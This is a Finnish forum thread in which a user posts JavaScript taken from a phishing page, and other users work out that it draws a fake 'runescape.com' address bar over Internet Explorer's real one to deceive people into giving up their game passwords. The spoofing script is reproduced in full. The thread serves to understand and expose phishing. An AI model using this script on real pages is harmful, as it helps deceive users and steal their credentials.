Keskustelu: Nettisivujen teko: Mitä tämä koodi tekee? (javascript)

<script type="text/javascript">

var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+70;
vuln_y= window.screenTop-22;
vuln_w= root.offsetWidth-200;
vuln_h= 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '\x3Cdiv style="height: 100%; line-height: 18px; font-family: \'Helvetica\', sans-serif; font-size: 10pt;">http://www.runescape.com\x3C/div>'

if (window.createPopup) {
vuln_calc();
vuln_pop();
window.setInterval(vuln_calc, 25);
} else {
}
</script>

phishing-sivun lähdekoodista löytyi

Hyvänen aika sentään... kerro edes syy miksi haluat tietää.

Emmä ainakaa jaksa selittää tota vaa sen takii et joku kysyy.

Ainakin se näyttää luovan popup-ikkunan.

Onko tuo phishing joku kräkkeröintipelisivu? Jos on niin taidat katsella väärää sorsaa.

Offtopic: Phishingillä tarkoitetaan henkilötietojen ja pankki- tai luottokorttitietojen epämääräistä urkintaa sähköpostiviestien tai väärennetyjen verkkosivujen kautta.

Tietokone.fi kirjoitti:

Nettirikolliset peukaloivat nimipalvelimia
Rikolliset, jotka metsästävät internetissä käyttäjien henkilö- ja luottokorttitietoja esimerkiksi phishing-huijausten avulla, ovat kehittäneet vielä vaarallisemman tekniikan. Internet Storm Center alkoi viime viikosta lähtien varoittaa käyttäjiä uudenlaisesta pharming-huijauksesta, jossa esimerkiksi Googlen ja Ebayn palveluihin pyrkivät käyttäjät ohjautuivatkin suoraan huijareiden sivustoille.Jatkuu...

Taitaa olla joku Runescape-passun/tunnuksen kyselysivu. Oiskos kyseessä joku yritys, laittaa sivun ylälaitaan "osoitepalkilta" näyttävä tekstiblokki jossa lukee runescape.com, jotta hölmömmät käyttäjät menevät lankaan ja antavat passunsa ja tunnuksensa jollekkin niitä havittelevalle hepulle...

kokeile

e: hävettää kattella tällasia omia viestejä näin vuosien jälkeen :D